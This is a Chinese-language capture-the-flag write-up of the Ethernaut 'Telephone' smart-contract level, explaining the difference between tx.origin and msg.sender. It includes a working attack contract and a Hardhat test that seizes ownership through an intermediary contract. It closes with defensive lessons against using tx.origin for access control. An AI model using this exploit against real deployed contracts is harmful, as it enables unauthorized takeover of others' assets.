Appearance
Ethernaut CTF "Telephone" 挑战:一场关于 tx.origin 的安全教学
嘿,各位区块链安全爱好者和 CTF 玩家们!
今天,我们将深入探讨 Ethernaut 平台上的一个经典智能合约挑战——"Telephone"。这个挑战看似简单,却蕴含着一个经典的智能合约安全漏洞,完美地演示了 tx.origin 和 msg.sender 这两个全局变量在实际应用中的细微却致命的区别。准备好了吗?让我们一起揭开这个“电话”背后的秘密!
挑战目标:夺取“电话”合约的所有权
Ethernaut 上的 "Telephone" 挑战要求我们做的很简单:声称拥有以下合约的所有权,以完成这个关卡。
通常,这意味着我们需要找到一个方法来修改合约中 owner 变量的值,使其指向我们的地址。
首先,我们来看看这个目标合约 Telephone.sol 的代码:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner; // 公开的 owner 变量
// 构造函数:部署时将所有权赋予部署者
constructor() {
owner = msg.sender;
}
// 改变所有者的函数
function changeOwner(address _owner) public {
// 关键条件:如果交易发起者不等于消息发送者
if (tx.origin != msg.sender) {
owner = _owner; // 则将所有权修改为传入的地址
}
}
}
初看玄机:changeOwner 函数的条件
乍一看,这个 Telephone 合约非常简洁。它有一个 owner 变量,在部署时被初始化为部署者的地址。关键在于 changeOwner 函数:它允许任何外部地址调用,传入一个新的 _owner 地址。但最引人注目的,是那行条件判断:if (tx.origin != msg.sender)。
正是这个条件,构成了挑战的核心。
深入剖析:tx.origin vs. msg.sender
要理解如何绕过这个条件,我们必须彻底弄清楚 tx.origin 和 msg.sender 这两个全局变量的区别。
tx.origin(交易发起者):- 它始终指向最初发起这笔交易的那个外部账户(EOA)。
- 无论这笔交易经过了多少层合约调用,
tx.origin都不会改变,它永远是链上最原始的交易发送者。 - 可以想象成你用手机拨打了一个电话,
tx.origin就是你手机的号码。
msg.sender(消息发送者):- 它指向直接调用当前合约的那个地址。
- 如果是一个外部账户直接调用合约,那么
msg.sender就是这个外部账户的地址。 - 如果是一个合约调用另一个合约,那么在被调用的合约中,
msg.sender将是被调用的合约的地址,而不是最初发起交易的外部账户。 - 可以想象成你打电话给一个自动语音服务,然后自动语音服务又帮你转接到了客服,对客服来说,
msg.sender是自动语音服务,而不是你。
漏洞所在
现在,我们回到 Telephone 合约的 changeOwner 函数:
solidity
if (tx.origin != msg.sender) {
owner = _owner;
}
如果我们直接通过一个外部账户(EOA)调用 changeOwner 函数:
tx.origin是 EOA 的地址。msg.sender也是 EOA 的地址(因为是 EOA 直接调用)。- 因此,
tx.origin == msg.sender,条件不成立,owner无法被修改。
要让这个条件 tx.origin != msg.sender 成立,我们需要一个中间合约!
解决方案:部署一个攻击合约 Hack.sol
我们的目标是让一个外部账户(EOA)发起交易,但最终调用 Telephone.changeOwner 的 msg.sender 是一个合约,而 tx.origin 仍然是那个 EOA。
这就是 Hack.sol 登场的时候了:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
// 构造函数:在部署时即刻执行攻击
constructor(address _target) {
// 调用目标合约的 changeOwner 函数,并将 msg.sender 传入作为新的 owner
// 这里的 msg.sender 是部署 Hack 合约的那个外部账户(EOA)
Telephone(_target).changeOwner(msg.sender);
}
}
攻击流程
- 我们(一个外部账户 EOA)部署
Hack合约,并传入Telephone合约的地址作为_target。 - 在
Hack合约的constructor执行时:- 外部账户 EOA 调用了
Hack合约。 - 在
Hack合约内部,它又调用了Telephone合约的changeOwner函数。
- 外部账户 EOA 调用了
- 现在,当
Telephone.changeOwner函数被执行时:msg.sender是Hack合约的地址(因为Hack合约是直接调用者)。tx.origin仍然是最初部署Hack合约的那个外部账户 EOA 的地址。
- 由于
Hack合约的地址(msg.sender)和外部账户 EOA 的地址(tx.origin)显然不相等,所以if (tx.origin != msg.sender)这个条件成立! owner = _owner;这行代码得以执行,并且_owner被设置为Hack合约部署者的地址(即我们的 EOA 地址)。
至此,我们成功地夺取了 Telephone 合约的所有权!
验证攻击:测试脚本揭示真相
为了验证我们的攻击思路是否正确,通常会有相应的测试脚本。这里提供的 98_test_telephone.ts 就是这样的一个例子。
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Telephone, Hack } from "../typechain-types";
describe("Telephone", function () {
describe("Telephone testnet sepolia", function () {
it("testnet sepolia Telephone changeOwner", async function () {
const TELEPHONE_ADDRESS = "0x..."; // Ethernaut 提供的 Telephone 合约地址
const TELEPHONE_ABI = [/* ... */];
const LEVEL_CURRENT = "0x..."; // Ethernaut 关卡当前的 owner 地址
const challenger = await ethers.getNamedSigner("deployer"); // 模拟攻击者(外部账户 EOA)
const telephoneContract = new ethers.Contract(TELEPHONE_ADDRESS, TELEPHONE_ABI, challenger);
// 验证攻击前的 owner 是 LEVEL_CURRENT
const owner_before = await telephoneContract.owner();
expect(owner_before).to.be.equals(LEVEL_CURRENT);
// 部署 Hack 合约,执行攻击
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(TELEPHONE_ADDRESS)) as Hack; // 将 Telephone 地址传入
await hack.waitForDeployment();
const deployer = await ethers.getNamedSigner("deployer"); // 再次获取攻击者地址
const owner_after = await telephoneContract.owner();
// 验证攻击后的 owner 变成了攻击者的地址
expect(owner_after).to.be.equals(deployer.address);
});
});
});
这个测试脚本清晰地展示了:
- 在攻击前,
Telephone合约的所有者是预设的LEVEL_CURRENT。 - 通过部署
Hack合约并让它调用Telephone.changeOwner。 - 在攻击后,
Telephone合约的所有者成功被修改为deployer.address(即模拟攻击者的 EOA 地址)。
这完美地证实了我们的攻击方法是成功的!
安全启示与总结
"Telephone" 挑战是一个绝佳的教学案例,它告诫我们:
- 切勿将
tx.origin用于访问控制!tx.origin容易受到钓鱼攻击或重放攻击。恶意合约可以诱骗用户调用它,然后它再调用其他合约,从而在其他合约中利用tx.origin进行未经授权的操作。 - 始终使用
msg.sender进行权限判断。msg.sender指向直接调用当前函数或合约的地址,这是进行访问控制的黄金法则,因为它清晰地指示了直接负责的实体。 - 理解交易上下文是关键。 在智能合约开发中,对
msg.sender、tx.origin、block.timestamp等全局变量的深刻理解至关重要,因为它们定义了合约执行的环境和交互规则。
通过 Ethernaut 这样的 CTF 挑战,我们不仅能提升解决问题的能力,更能深入理解智能合约的内在机制和潜在的安全风险,从而编写出更健壮、更安全的去中心化应用。
希望这篇文章能帮助你更好地理解 "Telephone" 挑战以及 tx.origin 的陷阱!保持好奇,持续学习,安全前行!